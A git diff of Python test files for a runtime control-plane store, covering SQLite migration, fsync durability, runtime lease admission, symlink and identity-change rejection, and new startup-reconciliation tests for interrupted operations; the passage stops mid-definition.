tmp_path / "v1-operation-records" - original = LocalControlPlaneStore(store_path) + original = _admitted_local_store(store_path) accepted = _running_record("legacy-sqlite-accepted", state=OperationState.FAILED) denied = _running_record("legacy-sqlite-denied", state=OperationState.FAILED) with original._connection() as connection, local_store_module._transaction(connection): @@ -1040,7 +1074,8 @@ def test_local_store_migrates_v1_sqlite_operations_and_disposes_denials(tmp_path ) connection.execute("UPDATE metadata SET value='1' WHERE key='schema-version'") - migrated = LocalControlPlaneStore(store_path) + _close_admitted_local_store(original) + migrated = _admitted_local_store(store_path) records = migrated.load_records() assert set(records) == {accepted.receipt.operation_id} @@ -1055,7 +1090,9 @@ def test_local_store_migrates_v1_sqlite_operations_and_disposes_denials(tmp_path assert denial_audit.allowed is False assert denial_audit.reason == "legacy-denied-operation-disposed" with migrated._connection() as connection: - assert connection.execute("SELECT value FROM metadata WHERE key='schema-version'").fetchone() == ("3",) + assert connection.execute("SELECT value FROM metadata WHERE key='schema-version'").fetchone() == ( + LOCAL_OPERATION_SCHEMA_VERSION, + ) def test_local_store_rejects_non_wal_before_schema_or_legacy_migration( @@ -1095,7 +1132,7 @@ def connect_without_wal(*args: Any, **kwargs: Any) -> _NonWalConnection: ) with pytest.raises(RuntimeError, match="did not enter required SQLite WAL journal mode"): - LocalControlPlaneStore(store_path) + _admitted_local_store(store_path) assert legacy_path.read_text(encoding="utf-8") == legacy_payload assert list(store_path.glob("legacy-json-backup-*")) == [] @@ -1104,7 +1141,7 @@ def connect_without_wal(*args: Any, **kwargs: Any) -> _NonWalConnection: def test_local_store_rejects_non_object_durable_payload(tmp_path: Path) -> None: - store = LocalControlPlaneStore(tmp_path / "control-plane") + store = _admitted_local_store(tmp_path / "control-plane") store.save_snapshot( RuntimeSnapshot(metadata={"stored": True}), expected_revision=store.load_snapshot_state().revision, @@ -1144,14 +1181,14 @@ def test_local_store_migrates_complete_legacy_state_and_keeps_auditable_backup( json.dumps( { "snapshot": _snapshot_payload(committed_snapshot), - "records": {control_record.receipt.operation_id: local_store_module._record_payload(control_record)}, + "records": {control_record.receipt.operation_id: _record_payload(control_record)}, "audit": [asdict(first_audit)], } ), encoding="utf-8", ) (store_path / "operations.json").write_text( - json.dumps({operations_record.receipt.operation_id: local_store_module._record_payload(operations_record)}), + json.dumps({operations_record.receipt.operation_id: _record_payload(operations_record)}), encoding="utf-8", ) (store_path / "audit.jsonl").write_text( @@ -1168,7 +1205,7 @@ def observe_fsync(descriptor: int) -> None: monkeypatch.setattr(store_paths_module.os, "fsync", observe_fsync) - migrated = LocalControlPlaneStore(store_path) + migrated = _admitted_local_store(store_path) assert migrated.load_snapshot().metadata == {"source": "control-transition-state"} assert set(migrated.load_records()) == { @@ -1184,7 +1221,7 @@ def observe_fsync(descriptor: int) -> None: "operations.json", "audit.jsonl", } - expected_fsync_targets = ["file"] * 4 + expected_fsync_targets = ["file"] * 5 if store_paths_module._DIRECTORY_FSYNC_SUPPORTED: expected_fsync_targets.extend(["directory"] * 3) assert fsync_targets == expected_fsync_targets @@ -1198,22 +1235,23 @@ def test_local_store_backup_file_fsync_failure_rolls_back_and_restarts_migration store_path.mkdir(mode=0o700) record = _running_record("legacy-fsync-restart") legacy_path = store_path / "operations.json" - legacy_payload = json.dumps({record.receipt.operation_id: local_store_module._record_payload(record)}) + legacy_payload = json.dumps({record.receipt.operation_id: _record_payload(record)}) legacy_path.write_text(legacy_payload, encoding="utf-8") real_fsync = store_paths_module.os.fsync - failed_regular_file = False + regular_file_fsyncs = 0 def fail_first_regular_file(descriptor: int) -> None: - nonlocal failed_regular_file - if stat.S_ISREG(os.fstat(descriptor).st_mode) and not failed_regular_file: - failed_regular_file = True - raise OSError(errno.EIO, "injected backup fsync failure") + nonlocal regular_file_fsyncs + if stat.S_ISREG(os.fstat(descriptor).st_mode): + regular_file_fsyncs += 1 + if regular_file_fsyncs == 2: + raise OSError(errno.EIO, "injected backup fsync failure") real_fsync(descriptor) monkeypatch.setattr(store_paths_module.os, "fsync", fail_first_regular_file) with pytest.raises(RuntimeError, match="could not durably synchronize local control-plane file") as caught: - LocalControlPlaneStore(store_path) + _admitted_local_store(store_path) assert isinstance(caught.value.__cause__, OSError) assert caught.value.__cause__.errno == errno.EIO @@ -1223,7 +1261,7 @@ def fail_first_regular_file(descriptor: int) -> None: assert connection.execute("SELECT value FROM metadata WHERE key='legacy-json-migration'").fetchone() is None monkeypatch.undo() - migrated = LocalControlPlaneStore(store_path) + migrated = _admitted_local_store(store_path) assert migrated.load_records() == {record.receipt.operation_id: record} assert legacy_path.read_text(encoding="utf-8") == legacy_payload assert len(list(store_path.glob("legacy-json-backup-*"))) == 2 @@ -1246,7 +1284,7 @@ def test_local_store_rolls_back_unverified_legacy_migration( encoding="utf-8", ) (store_path / "operations.json").write_text( - json.dumps({record.receipt.operation_id: local_store_module._record_payload(record)}), + json.dumps({record.receipt.operation_id: _record_payload(record)}), encoding="utf-8", ) monkeypatch.setattr( @@ -1256,7 +1294,7 @@ def test_local_store_rolls_back_unverified_legacy_migration( ) with pytest.raises(ValueError, match="legacy control-plane migration verification failed"): - LocalControlPlaneStore(store_path) + _admitted_local_store(store_path) def test_local_store_migrates_legacy_records_without_snapshot_files(tmp_path: Path) -> None: @@ -1268,7 +1306,7 @@ def test_local_store_migrates_legacy_records_without_snapshot_files(tmp_path: Pa encoding="utf-8", ) - migrated = LocalControlPlaneStore(store_path) + migrated = _admitted_local_store(store_path) migrated_record = migrated.load_records()[record.receipt.operation_id] assert migrated.load_snapshot() == RuntimeSnapshot() @@ -1318,7 +1356,7 @@ def test_terminal_commit_retry_compares_canonical_value_free_snapshot(tmp_path: ) } ) - store = LocalControlPlaneStore(tmp_path / "control-plane") + store = _admitted_local_store(tmp_path / "control-plane") running = replace(_running_record("canonical-terminal-retry"), idempotency_key="canonical-retry") terminal = _terminal_record(running) store.claim_record(running) @@ -1391,7 +1429,7 @@ def observe_connect(*args: Any, **kwargs: Any) -> Any: monkeypatch.setattr(local_store_module.sqlite3, "connect", observe_connect) - store = LocalControlPlaneStore(store_path) + store = _admitted_local_store(store_path) assert connection_observations[0] == (0o700, ()) assert store_path.stat().st_mode & 0o777 == 0o700 @@ -1439,7 +1477,7 @@ def guarded_path_open(path: Path, *args: Any, **kwargs: Any) -> Any: monkeypatch.setattr(store_paths_module.os, "fchmod", guarded_fchmod) monkeypatch.setattr(Path, "open", guarded_path_open) - store = LocalControlPlaneStore(store_path) + store = _admitted_local_store(store_path) with store._connection() as connection: connection.execute("BEGIN IMMEDIATE") connection.execute("INSERT OR REPLACE INTO metadata(key, value) VALUES ('sidecar-probe', 'ok')") @@ -1462,7 +1500,7 @@ def observe_connect(database: str, *args: Any, **kwargs: Any) -> Any: monkeypatch.setattr(local_store_module.sqlite3, "connect", observe_connect) - store = LocalControlPlaneStore(store_path) + store = _admitted_local_store(store_path) store.load_snapshot() assert connection_uris[0][0].endswith("control%20plane%3F%23/control-plane.sqlite3?mode=rwc") @@ -1474,7 +1512,7 @@ def test_local_store_does_not_recreate_existing_database_that_disappears_before_ tmp_path: Path, monkeypatch: pytest.MonkeyPatch, ) -> None: - store = LocalControlPlaneStore(tmp_path / "control-plane") + store = _admitted_local_store(tmp_path / "control-plane") database_path = store._database_path connect = local_store_module.sqlite3.connect @@ -1502,7 +1540,7 @@ def test_local_store_rejects_database_identity_replacement_across_sqlite_connect changed_call: int, message: str, ) -> None: - store = LocalControlPlaneStore(tmp_path / "control-plane") + store = _admitted_local_store(tmp_path / "control-plane") secure_database_file = local_store_module._secure_database_file calls = 0 @@ -1525,12 +1563,12 @@ def changed_identity(*args: Any, **kwargs: Any) -> os.stat_result | None: def test_local_store_rejects_database_replacement_between_connections(tmp_path: Path) -> None: original_path = tmp_path / "original" replacement_path = tmp_path / "replacement" - store = LocalControlPlaneStore(original_path) + store = _admitted_local_store(original_path) store.save_snapshot( RuntimeSnapshot(metadata={"database": "original"}), expected_revision=store.load_snapshot_state().revision, ) - replacement = LocalControlPlaneStore(replacement_path) + replacement = _admitted_local_store(replacement_path) replacement.save_snapshot( RuntimeSnapshot(metadata={"database": "replacement"}), expected_revision=replacement.load_snapshot_state().revision, @@ -1631,9 +1669,11 @@ def test_sqlite_sidecar_validation_rejects_unsafe_metadata( store_paths_module._validate_sqlite_sidecar(sidecar) -def test_local_store_repeated_multiprocess_wal_lifecycle(tmp_path: Path) -> None: +@pytest.mark.integration +def test_local_store_repeated_multiprocess_writes_require_runtime_admission(tmp_path: Path) -> None: store_path = tmp_path / "control-plane" - LocalControlPlaneStore(store_path) + owner_store = LocalControlPlaneStore(store_path) + owner = RuntimeControlPlane(create_stub_target(), store=owner_store) context = get_context("spawn") process_count = 4 write_count = 6 @@ -1655,12 +1695,11 @@ def test_local_store_repeated_multiprocess_wal_lifecycle(tmp_path: Path) -> None process.terminate() process.join(timeout=5) - assert [process.exitcode for process in processes] == [0] * process_count - assert set(LocalControlPlaneStore(store_path).load_records()) == { - f"stress-{process_index}-{write_index}" - for process_index in range(process_count) - for write_index in range(write_count) - } + try: + assert all(process.exitcode not in (0, None) for process in processes) + assert owner_store.load_records() == {} + finally: + owner.close() def test_local_store_rejects_symlink_directory_without_touching_target(tmp_path: Path) -> None: @@ -1675,7 +1714,7 @@ def test_local_store_rejects_symlink_directory_without_touching_target(tmp_path: pytest.skip("symlink creation is unavailable") with pytest.raises(RuntimeError, match="directory must not be a symlink or reparse point"): - LocalControlPlaneStore(store_path) + _admitted_local_store(store_path) assert marker.read_text(encoding="utf-8") == "unchanged" @@ -1695,7 +1734,7 @@ def unexpected_mutation(*_args: Any, **_kwargs: Any) -> Any: monkeypatch.setattr(store_paths_module.os, "fchmod", unexpected_mutation, raising=False) with pytest.raises(RuntimeError, match="directory has the wrong filesystem type"): - LocalControlPlaneStore(store_path) + _admitted_local_store(store_path) after = os.stat(store_path) assert store_path.read_text(encoding="utf-8") == "not a directory" @@ -1733,7 +1772,7 @@ def unexpected_mutation(*_args: Any, **_kwargs: Any) -> Any: monkeypatch.setattr(store_paths_module.os, "fchmod", unexpected_mutation, raising=False) with pytest.raises(RuntimeError, match="directory must be owned by the current user"): - LocalControlPlaneStore(store_path) + _admitted_local_store(store_path) after = os.stat(store_path) assert (after.st_ino, after.st_mode, after.st_mtime_ns) == (before.st_ino, before.st_mode, before.st_mtime_ns) @@ -1896,7 +1935,7 @@ def test_local_store_rejects_symlink_database_paths_without_touching_target( path_kind = "database file" if not suffix else "SQLite sidecar" with pytest.raises(RuntimeError, match=rf"{path_kind} must not be a symlink or reparse point"): - LocalControlPlaneStore(store_path) + _admitted_local_store(store_path) assert victim.read_text(encoding="utf-8") == "unchanged" @@ -1946,7 +1985,7 @@ def test_local_store_rejects_directory_and_database_identity_changes( with monkeypatch.context() as patch: patch.setattr(store_paths_module.os.path, "samestat", lambda _left, _right: False) with pytest.raises(RuntimeError, match="directory changed while it was opened"): - LocalControlPlaneStore(directory_path) + _admitted_local_store(directory_path) database_path = tmp_path / "database-race" database_path.mkdir(mode=0o700) @@ -1956,12 +1995,12 @@ def test_local_store_rejects_directory_and_database_identity_changes( def change_database_identity(_left: object, _right: object) -> bool: nonlocal comparisons comparisons += 1 - return comparisons == 1 + return comparisons < 4 with monkeypatch.context() as patch: patch.setattr(store_paths_module.os.path, "samestat", change_database_identity) with pytest.raises(RuntimeError, match="database file changed while it was secured"): - LocalControlPlaneStore(database_path) + _admitted_local_store(database_path) def test_secure_database_file_handles_missing_path( @@ -2028,7 +2067,7 @@ def disappear_during_identity_recheck(path: Path) -> os.stat_result: def test_local_store_fails_closed_when_database_disappears(tmp_path: Path) -> None: - store = LocalControlPlaneStore(tmp_path / "control-plane") + store = _admitted_local_store(tmp_path / "control-plane") store._database_path.unlink() with pytest.raises(RuntimeError, match="database file is missing"): @@ -2095,7 +2134,9 @@ def close(index: int) -> None: assert submission_errors == [] assert close_errors == [] assert all(completed.is_set() for completed in close_completed) - record = next(iter(LocalControlPlaneStore(store_path).load_records().values())) + inspection_store = _admitted_local_store(store_path, run_scope="run:default") + record = next(iter(inspection_store.load_records().values())) + _close_admitted_local_store(inspection_store) assert record.status.state == OperationState.SUCCEEDED restarted = RuntimeControlPlane(target, store=LocalControlPlaneStore(store_path)) @@ -2357,7 +2398,7 @@ def fail_file_lock(descriptor: int) -> None: def test_closed_runtime_owner_lease_fails_closed_and_close_is_idempotent(tmp_path: Path) -> None: store = LocalControlPlaneStore(tmp_path / "control-plane") - lease = store.acquire_runtime_lease() + lease = store.admit_runtime(target_scope="target:stub", run_scope="run:test") lease.close() lease.close() @@ -2410,6 +2451,7 @@ def test_runtime_owner_lease_rejects_and_closes_in_a_different_process_identity( reacquired.close() +@pytest.mark.integration def test_local_store_runtime_lease_blocks_another_process(tmp_path: Path) -> None: store_path = tmp_path / "control-plane" owner = RuntimeControlPlane(create_stub_target(), store=LocalControlPlaneStore(store_path)) @@ -2449,6 +2491,7 @@ def test_runtime_owner_directory_guard_survives_lock_path_replacement(tmp_path: @pytest.mark.skipif("fork" not in get_all_start_methods(), reason="fork is unavailable") +@pytest.mark.integration def test_inherited_runtime_owner_fails_closed_after_fork(tmp_path: Path) -> None: owner = RuntimeControlPlane( create_stub_target(), @@ -2549,7 +2592,10 @@ def _idempotent_receipt(**_kwargs: object) -> None: return None @staticmethod - def _claim_record(record: ControlPlaneOperationRecord) -> ControlPlaneOperationRecord: + def _claim_record( + record: ControlPlaneOperationRecord, + **_claim_options: object, + ) -> ControlPlaneOperationRecord: winning_receipt = replace(record.receipt, operation_id="durable-winner") winning_status = replace(record.status, operation_id="durable-winner") return replace(record, receipt=winning_receipt, status=winning_status) @@ -2660,7 +2706,7 @@ def test_runtime_rejects_losing_claim_with_different_request_fingerprint() -> No request_fingerprint="different-fingerprint", ) - with pytest.raises(ValueError, match="reused with a different request body"): + with pytest.raises(ValueError, match="idempotency claim conflicts with the original request"): control_plane._claim_record(competing) control_plane.close() @@ -2710,6 +2756,7 @@ def track_open(path: object, *args: object, **kwargs: object) -> int: def test_runtime_owner_lock_rejects_hard_link_alias(tmp_path: Path) -> None: store_path = tmp_path / "control-plane" store = LocalControlPlaneStore(store_path) + store_path.mkdir(mode=0o700) lock_path = store_path / "runtime-owner.lock" lock_path.touch(mode=0o600) try: @@ -2728,6 +2775,7 @@ def test_runtime_owner_lock_rejects_post_open_identity_change_before_truncation( ) -> None: store_path = tmp_path / "control-plane" store = LocalControlPlaneStore(store_path) + store_path.mkdir(mode=0o700) lock_path = store_path / "runtime-owner.lock" lock_path.write_text("sentinel", encoding="ascii") lock_path.chmod(0o600) diff --git a/implementations/python/tests/test_issue_1093_request_rejection_offload.py b/implementations/python/tests/test_issue_1093_request_rejection_offload.py index c2d5ff11c..f51d0fcec 100644 --- a/implementations/python/tests/test_issue_1093_request_rejection_offload.py +++ b/implementations/python/tests/test_issue_1093_request_rejection_offload.py @@ -28,6 +28,8 @@ from raes_runtime.control_plane_store_local import LocalControlPlaneStore from starlette.types import Message, Receive, Scope, Send +pytestmark = pytest.mark.control_plane_conformance + _T = TypeVar("_T") @@ -403,10 +405,10 @@ async def exercise() -> tuple[list[httpx.Response], httpx.Response, int]: try: assert await asyncio.to_thread(entered.wait, 2) for _ in range(100): - if "rejection audit queue is full" in caplog.text: + if "control-plane-rejection-audit-dropped queue-full" in caplog.text: break await asyncio.sleep(0.01) - assert "rejection audit queue is full" in caplog.text + assert "control-plane-rejection-audit-dropped queue-full" in caplog.text default_workers_in_use = to_thread.current_default_thread_limiter().borrowed_tokens snapshot = await asyncio.wait_for( client.get( diff --git a/implementations/python/tests/test_issue_1109_proof_workflow.py b/implementations/python/tests/test_issue_1109_proof_workflow.py index 78ca58158..346a0f130 100644 --- a/implementations/python/tests/test_issue_1109_proof_workflow.py +++ b/implementations/python/tests/test_issue_1109_proof_workflow.py @@ -11,7 +11,7 @@ def test_canonical_workflow_installs_the_offline_proof_runtime() -> None: workflow = yaml.safe_load( (REPO_ROOT / ".github" / "workflows" / "canonical-verification.yml").read_text(encoding="utf-8") ) - steps = workflow["jobs"]["verify"]["steps"] + steps = workflow["jobs"]["proof"]["steps"] proof_runtime = next(step["run"] for step in steps if step.get("name") == "Install proof sandbox") assert "command -v bwrap" in proof_runtime diff --git a/implementations/python/tests/test_issue_1112_capture_admission.py b/implementations/python/tests/test_issue_1112_capture_admission.py index 4f3ec2e48..877bfdebf 100644 --- a/implementations/python/tests/test_issue_1112_capture_admission.py +++ b/implementations/python/tests/test_issue_1112_capture_admission.py @@ -492,9 +492,8 @@ def test_output_contract_shape_and_registry_are_enforced_before_selectors() -> N with pytest.raises(ValueError, match="output_contract"): _validate_evidence_bundle(*invalid) - unknown = _evidence_bundle(output_contract="unknown-output-contract-v1") with pytest.raises(ValueError, match="authoritative contract registry"): - _validate_evidence_bundle(*unknown) + _evidence_bundle(output_contract="unknown-output-contract-v1") def test_output_contract_semantic_invariants_are_enforced() -> None: diff --git a/implementations/python/tests/test_issue_1137_maintained_client_acquisition.py b/implementations/python/tests/test_issue_1137_maintained_client_acquisition.py index f363671c1..e9f44f75e 100644 --- a/implementations/python/tests/test_issue_1137_maintained_client_acquisition.py +++ b/implementations/python/tests/test_issue_1137_maintained_client_acquisition.py @@ -316,13 +316,13 @@ def test_canonical_proof_job_consumes_same_run_locked_generic_tool_inputs() -> N workflow_path = REPO_ROOT / ".github/workflows/canonical-verification.yml" workflow = yaml.safe_load(workflow_path.read_text(encoding="utf-8")) prepare = workflow["jobs"]["generic-tool-local-inputs"] - verify = workflow["jobs"]["verify"] + verify = workflow["jobs"]["proof"] workflow_text = workflow_path.read_text(encoding="utf-8") assert prepare["runs-on"] == "ubuntu-24.04" assert verify["runs-on"] == "ubuntu-22.04" assert verify["needs"] == "generic-tool-local-inputs" - assert "offline-kit-fetch" in workflow_text + assert "fetch-inputs" in workflow_text assert "--artifact-id conftest" in workflow_text assert "--artifact-id gitleaks" in workflow_text assert "--artifact-id osv-scanner" in workflow_text diff --git a/implementations/python/tests/test_issue_1179_startup_reconciliation.py b/implementations/python/tests/test_issue_1179_startup_reconciliation.py new file mode 100644 index 000000000..ed6f9191a --- /dev/null +++ b/implementations/python/tests/test_issue_1179_startup_reconciliation.py @@ -0,0 +1,608 @@ +"""CP-3 startup reconciliation and linked-resolution acceptance tests.""" + +from __future__ import annotations + +from collections.abc import Callable +from dataclasses import replace + +import pytest +from fastapi.testclient import TestClient +from jsonschema import Draft202012Validator +from raes_backend_protocols.capabilities import RecoveryObservationCapabilities +from raes_backend_protocols.manifest import ( + backend_manifest_from_v2_model_with_envelope, + backend_manifest_payload, +) +from raes_backend_protocols.recovery_observation import ( + RecoveryEffectClassification, + RecoveryObservationRequest, + RecoveryObservationResult, +) +from raes_backend_stubs.stubs import StubProvisioner, create_stub_target +from raes_contracts.contracts import BackendManifestV2Model, schema_bundle +from raes_contracts.diagnostics import Severity +from raes_contracts.planning import ProvisioningPlan, RuntimeDomain +from raes_contracts.runtime_state import ( + OperationAdmissionContext, + OperationKind, + OperationReceipt, + OperationState, + OperationStatus, + RuntimeSnapshot, + SnapshotEntry, +) +from raes_runtime.control_plane import RuntimeControlPlane +from raes_runtime.control_plane_api import create_control_plane_app +from raes_runtime.control_plane_operation_context import operation_admission_context +from raes_runtime.control_plane_recovery import IndeterminateResolutionDisposition +from raes_runtime.control_plane_security import ( + ControlPlaneIdentity, + ControlPlaneRole, + ControlPlaneSecurityConfig, + ParticipantControlSubjectBinding, +) +from raes_runtime.control_plane_store import ControlPlaneOperationRecord, InMemoryControlPlaneStore +from raes_runtime.control_plane_store_record_migration import migrate_legacy_operation_payload +from raes_runtime.control_plane_store_records import _record_payload +from raes_runtime.registry import RuntimeTarget + +pytestmark = pytest.mark.control_plane_conformance + + +def _context( + *, + kind: OperationKind = OperationKind.PROVISIONING, + run_scope: str = "run:default", + subject_scope: str | None = None, +) -> OperationAdmissionContext: + scopes = ["role:operator"] + if subject_scope is not None: + scopes.append(subject_scope) + return OperationAdmissionContext( + actor_id="operator-1179", + authorization_scope=tuple(scopes), + target_scope="target:stub", + run_scope=run_scope, + operation_kind=kind, + request_commitment=f"sha256:{'1' * 64}", + ) + + +def _record( + operation_id: str, + *, + state: OperationState = OperationState.RUNNING, + kind: OperationKind = OperationKind.PROVISIONING, + run_scope: str = "run:default", + subject_scope: str | None = None, + idempotency_key: str | None = None, +) -> ControlPlaneOperationRecord: + context = _context(kind=kind, run_scope=run_scope, subject_scope=subject_scope) + submitted_at = "2026-09-17T00:00:00Z" + return ControlPlaneOperationRecord( + receipt=OperationReceipt( + operation_id=operation_id, + domain=RuntimeDomain.PROVISIONING, + submitted_at=submitted_at, + accepted=True, + context=context, + ), + status=OperationStatus( + operation_id=operation_id, + domain=RuntimeDomain.PROVISIONING, + state=state, + submitted_at=submitted_at, + updated_at=submitted_at, + context=context, + ), + request_fingerprint=context.request_commitment, + idempotency_key=idempotency_key or f"key-{operation_id}", + ) + + +class _RecoveryObserver: + def __init__( + self, + result: RecoveryObservationResult + | Callable[[RecoveryObservationRequest], RecoveryObservationResult] + | BaseException, + ) -> None: + self.result = result + self.requests: list[RecoveryObservationRequest] = [] + + def observe_effect(self, request: RecoveryObservationRequest) -> RecoveryObservationResult: + self.requests.append(request) + if isinstance(self.result, BaseException): + raise self.result + if callable(self.result): + return self.result(request) + return self.result + + +class _CountingProvisioner: + def __init__(self) -> None: + self.delegate = StubProvisioner() + self.validate_count = 0 + self.apply_count = 0 + + def validate(self, plan: ProvisioningPlan) -> list[object]: + self.validate_count += 1 + return self.delegate.validate(plan) + + def apply(self, plan: ProvisioningPlan, snapshot: RuntimeSnapshot) -> object: + self.apply_count += 1 + return self.delegate.apply(plan, snapshot) + + +def _target( + observer: _RecoveryObserver | None = None, + *, + supported_kinds: frozenset[OperationKind] | None = None, + provisioner: object | None = None, +) -> RuntimeTarget: + target = create_stub_target() + if observer is None and supported_kinds is None: + return replace(target, provisioner=provisioner or target.provisioner) + capability = RecoveryObservationCapabilities( + name="stub-recovery-observer", + supported_operation_kinds=supported_kinds or frozenset({OperationKind.PROVISIONING}), + ) + manifest = replace( + target.manifest, + capabilities=replace(target.manifest.capabilities, recovery_observation=capability), + ) + return replace( + target, + manifest=manifest, + provisioner=provisioner or target.provisioner, + recovery_observer=observer, + ) + + +def _store_with(record: ControlPlaneOperationRecord) -> InMemoryControlPlaneStore: + store = InMemoryControlPlaneStore() + if record.status.state is OperationState.ACCEPTED: + store.save_record(record) + else: + store.claim_record(record) + return store + + +def _applied_result(request: RecoveryObservationRequest) -> RecoveryObservationResult: + return RecoveryObservationResult( + classification=RecoveryEffectClassification.EFFECT_APPLIED, + operation_id=request.operation_id, + request_commitment=request.request_commitment, + snapshot=request.baseline_snapshot, + ) + + +def _operator(*, target_name: str = "stub", subjects: tuple[object, ...] = ()) -> ControlPlaneIdentity: + return ControlPlaneIdentity( + identity="resolver-1179", + roles=frozenset({ControlPlaneRole.OPERATOR}), + target_name=target_name, + participant_control_subjects=subjects, + ) + + +def test_accepted_claim_is_closed_as_known_absent_without_observation_or_replay() -> None: + record = _record("accepted-1179", state=OperationState.ACCEPTED) + store = _store_with(record) + provisioner = _CountingProvisioner() + + RuntimeControlPlane(_target(provisioner=provisioner), store=store) + + recovered = store.load_records()[record.receipt.operation_id] + assert recovered.status.state is OperationState.CANCELLED + assert [diagnostic.code for diagnostic in recovered.status.diagnostics] == [ + "runtime.control-plane.recovery-effect-absent", + "runtime.control-plane.operation-cancelled", + ] + assert provisioner.validate_count == provisioner.apply_count == 0 + assert store.find_by_idempotency(record.idempotency_key) == recovered + assert store.read_audit()[-1].reason == "operation-cancelled" + + +def test_legacy_migrated_accepted_claim_is_indeterminate_without_replay() -> None: + legacy = _record("legacy-accepted-1179", state=OperationState.ACCEPTED) + payload = _record_payload(legacy) + payload["receipt"].pop("context") + payload["status"].pop("context") + migrated = migrate_legacy_operation_payload(payload).record + assert migrated is not None + assert migrated.status.context.authorization_scope == ("legacy:unattributed",) + store = _store_with(migrated) + provisioner = _CountingProvisioner() + + RuntimeControlPlane( + replace(_target(provisioner=provisioner), name="legacy-unattributed"), + store=store, + run_scope="run:legacy-unattributed", + ) + + recovered = store.load_records()[migrated.receipt.operation_id] + assert recovered.status.state is OperationState.INDETERMINATE + assert [diagnostic.code for diagnostic in recovered.status.diagnostics] == [ + "runtime.control-plane.recovery-effect-unobservable", + "runtime.control-plane.operation-indeterminate", + ] + assert store.find_by_idempotency(migrated.idempotency_key) == recovered + assert provisioner.validate_count == provisioner.apply_count == 0 + + +def test_running_claim_without_observer_is_indeterminate_and_retry_never_replays() -> None: + record = _record("unobservable-1179", run_scope="run:default") + retry_context = operation_admission_context( + type("ControlPlaneContext", (), {"_target": type("Target", (), {"name": "stub"})()})(), + kind=OperationKind.PROVISIONING, + request=ProvisioningPlan(), + ) + record = replace( + record, + receipt=replace(record.receipt, context=retry_context), + status=replace(record.status, context=retry_context), + request_fingerprint=retry_context.request_commitment, + ) + store = _store_with(record) + provisioner = _CountingProvisioner() + control_plane = RuntimeControlPlane(_target(provisioner=provisioner), store=store) + + status = control_plane.get_operation(record.receipt.operation_id) + assert status is not None + assert status.state is OperationState.INDETERMINATE + assert [diagnostic.code for diagnostic in status.diagnostics] == [ + "runtime.control-plane.recovery-effect-unobservable", + "runtime.control-plane.operation-indeterminate", + ] + retry = control_plane.submit_provisioning(ProvisioningPlan(), idempotency_key=record.idempotency_key) + assert retry.operation_id == record.receipt.operation_id + assert provisioner.validate_count == provisioner.apply_count == 0 + + +def test_observed_absent_running_claim_fails_with_stable_diagnostics() -> None: + record = _record("absent-1179") + observer = _RecoveryObserver( + lambda request: RecoveryObservationResult( + classification=RecoveryEffectClassification.EFFECT_ABSENT, + operation_id=request.operation_id, + request_commitment=request.request_commitment, + ) + ) + store = _store_with(record) + + RuntimeControlPlane(_target(observer), store=store) + + status = store.load_records()[record.receipt.operation_id].status + assert status.state is OperationState.FAILED + assert [diagnostic.code for diagnostic in status.diagnostics] == [ + "runtime.control-plane.recovery-effect-absent", + "runtime.control-plane.operation-failed", + ] + assert len(observer.requests) == 1 + + +def test_observed_applied_claim_validates_and_atomically_publishes_snapshot_status_and_audit() -> None: + record = _record("applied-1179") + observer = _RecoveryObserver(_applied_result) + store = _store_with(record) + + control_plane = RuntimeControlPlane(_target(observer), store=store) + + status = control_plane.get_operation(record.receipt.operation_id) + assert status is not None + assert status.state is OperationState.SUCCEEDED + assert status.diagnostics[0].code == "runtime.control-plane.recovery-effect-applied" + assert status.diagnostics[0].severity is Severity.INFO + assert control_plane.snapshot == store.load_snapshot() + assert control_plane.snapshot == RuntimeSnapshot() + assert store.read_audit()[-1].reason == "operation-succeeded" + + +@pytest.mark.parametrize( + "failure", + [ + RuntimeError("provider-secret-1179"), + TimeoutError("provider-timeout-secret-1179"), + ], +) +def test_observer_exception_or_timeout_is_redacted_indeterminate(failure: BaseException) -> None: + record = _record("observer-failure-1179") + store = _store_with(record) + + RuntimeControlPlane(_target(_RecoveryObserver(failure)), store=store) + + persisted = store.load_records()[record.receipt.operation_id] + rendered = repr(persisted) + repr(store.read_audit()) + assert persisted.status.state is OperationState.INDETERMINATE + assert "provider-secret" not in rendered + assert "provider-timeout-secret" not in rendered + + +def test_mismatched_observation_binding_is_indeterminate() -> None: + record = _record("mismatch-1179") + observer = _RecoveryObserver( + RecoveryObservationResult( + classification=RecoveryEffectClassification.EFFECT_ABSENT, + operation_id="different-operation", + request_commitment=f"sha256:{'2' * 64}", + ) + ) + store = _store_with(record) + + RuntimeControlPlane(_target(observer), store=store) + + assert store.load_records()[record.receipt.operation_id].status.state is OperationState.INDETERMINATE + + +def test_unsupported_operation_kind_does_not_call_observer() -> None: + record = _record("unsupported-kind-1179") + observer = _RecoveryObserver(RuntimeError("must-not-run")) + store = _store_with(record) + + RuntimeControlPlane( + _target(observer, supported_kinds=frozenset({OperationKind.EVALUATION})), + store=store, + ) + + assert observer.requests == [] + assert store.load_records()[record.receipt.operation_id].status.state is OperationState.INDETERMINATE + + +def test_malformed_or_semantically_invalid_applied_result_is_indeterminate() -> None: + record = _record("invalid-applied-1179") + + def invalid_applied(request: RecoveryObservationRequest) -> RecoveryObservationResult: + address = "provision.node.outside-authority" + return RecoveryObservationResult( + classification=RecoveryEffectClassification.EFFECT_APPLIED, + operation_id=request.operation_id, + request_commitment=request.request_commitment, + snapshot=RuntimeSnapshot( + entries={ + address: SnapshotEntry( + address=address, + domain=RuntimeDomain.PROVISIONING, + resource_type="node", + payload={}, + ) + } + ), + changed_addresses=(address,), + ) + + store = _store_with(record) + RuntimeControlPlane(_target(_RecoveryObserver(invalid_applied)), store=store) + assert store.load_records()[record.receipt.operation_id].status.state is OperationState.INDETERMINATE + + malformed = _record("malformed-result-1179") + malformed_store = _store_with(malformed) + observer = _RecoveryObserver(object()) # type: ignore[arg-type] + RuntimeControlPlane(_target(observer), store=malformed_store) + assert malformed_store.load_records()[malformed.receipt.operation_id].status.state is OperationState.INDETERMINATE + + +def test_manifest_round_trip_and_schema_keep_recovery_separate_from_experiment_observation() -> None: + target = _target(_RecoveryObserver(RuntimeError("not-called"))) + payload = backend_manifest_payload(target.manifest) + + assert "recovery_observation" in payload["capabilities"] + assert payload["capabilities"]["recovery_observation"]["supported_operation_kinds"] == ["provisioning"] + assert target.manifest.observation is not target.manifest.recovery_observation + Draft202012Validator(schema_bundle()["backend-manifest-v2"]).validate(payload) + assert target.manifest.realization_envelope is not None + reconstructed = backend_manifest_from_v2_model_with_envelope( + BackendManifestV2Model.model_validate(payload), + target.manifest.realization_envelope, + ) + assert reconstructed.recovery_observation == target.manifest.recovery_observation + + +def 